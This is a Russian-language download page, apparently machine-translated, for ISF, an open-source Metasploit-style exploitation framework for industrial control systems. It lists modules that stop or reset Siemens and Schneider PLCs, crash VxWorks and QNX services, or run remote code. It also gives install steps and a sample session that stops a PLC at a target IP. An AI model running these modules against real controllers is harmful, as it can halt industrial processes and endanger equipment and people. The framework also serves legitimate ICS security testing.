Скачать isf - Загрузка исходного кода isf

ISF

Другой исходный код

ve release

Скачать

Структура промышленной эксплуатации

ISF (Industrial Exploitation Framework) — это среда эксплуатации, основанная на Python, похожая на среду Metasploit.

ISF основан на проекте routersploit с открытым исходным кодом.

Прочтите это на других языках: английском, 简体中文,

Отказ от ответственности

Использование ISF для нападения на цели без предварительного взаимного согласия является незаконным. Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не несут ответственности за любое неправильное использование или ущерб, причиненный этой программой.

Клиенты протокола ICS

Имя	Путь	Описание
modbus_tcp_client	icssploit/клиенты/modbus_tcp_client.py	Клиент Modbus-TCP
wdb2_client	icssploit/clients/wdb2_client.py	Клиент WdbRPC версии 2 (Vxworks 6.x)
s7_client	icssploit/clients/s7_client.py	Клиент s7comm (ПЛК S7 300/400)

Модуль эксплойта

Имя	Путь	Описание
s7_300_400_plc_control	эксплойты/plcs/siemens/s7_300_400_plc_control.py	ПЛК S7-300/400, запуск/останов
s7_1200_plc_control	эксплойты/plcs/siemens/s7_1200_plc_control.py	S7-1200 ПЛК пуск/останов/сброс
vxworks_rpc_dos	эксплойты/plcs/vxworks/vxworks_rpc_dos.py	Удаленный доступ к Vxworks RPC (CVE-2015-7599)
Quantum_140_plc_control	эксплойты/plcs/schneider/quantum_140_plc_control.py	ПЛК Schneider Quantum серии 140, запуск/останов
краш_qnx_inetd_tcp_service	эксплойты/plcs/qnx/crash_qnx_inetd_tcp_service.py	Служба QNX Inetd TCP
qconn_remote_exec	эксплойты/plcs/qnx/qconn_remote_exec.py	Удаленное выполнение кода QNX qconn
profinet_set_ip	эксплойты/plcs/siemens/profinet_set_ip.py	IP-конфигурация устройства Profinet DCP

Модуль сканера

Имя	Путь	Описание
profinet_dcp_scan	сканеры/profinet_dcp_scan.py	Сканер Profinet DCP
vxworks_6_scan	сканеры/vxworks_6_scan.py	Сканер Vxworks 6.x
s7comm_scan	сканеры/s7comm_scan.py	Сканер S7comm
enip_scan	сканеры/enip_scan.py	EthernetIP-сканер

Модуль протоколов ICS (модуль Scapy)

Этот протокол можно использовать в других средах фаззинга, таких как Kitty, или создать свой собственный клиент.

Имя	Путь	Описание
pn_dcp	icssploit/протоколы/pn_dcp	Протокол Profinet DCP
modbus_tcp	icssploit/протоколы/modbus_tcp	Протокол Modbus TCP
wdbrpc2	icssploit/протоколы/wdbrpc2	Протокол WDB RPC версии 2
s7comm	icssploit/протоколы/s7comm.py	Протокол S7comm

Установить

Требования Python

gnureadline (только для OSX)
запросы
парамико
красивыйсуп4
pysnmp
python-nmap
scapy Мы предлагаем установить руководство scapy вместе с этим официальным документом.

Установить на Кали

 git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

Использование

    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ | |    / __ _   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     ___ \___ |  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |__________|_____/_____/|_|    |__________/_____|  |_|
    
    
                    ICS Exploitation Framework
    
    Note     : ICSSPOLIT is fork from routersploit at
               https://github.com/reverse-shell/routersploit
    Dev Team : wenzhe zhu(dark-lbp)
    Version  : 0.1.0
    
    Exploits: 2 Scanners: 0 Creds: 13
    
    ICS Exploits:
        PLC: 2          ICS Switch: 0
        Software: 0
    
    isf >

Эксплойты

 isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

Для завершения можно использовать клавишу табуляции.

Параметры

Опции модуля дисплея:

 isf (S7-300/400 PLC Control) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target address e.g. 192.168.1.1
   port       102                  Target Port


Module options:

   Name        Current settings     Description
   ----        ----------------     -----------
   slot        2                    CPU slot number.
   command     1                    Command 0:start plc, 1:stop plc.


isf (S7-300/400 PLC Control) >

Установить параметры

 isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

Запустить модуль

 isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

Отображение информации об эксплойте

 isf (S7-300/400 PLC Control) > show info

Name:
S7-300/400 PLC Control

Description:
Use S7comm command to start/stop plc.

Devices:
-  Siemens S7-300 and S7-400 programmable logic controllers (PLCs)

Authors:
-  wenzhe zhu 

References:

isf (S7-300/400 PLC Control) >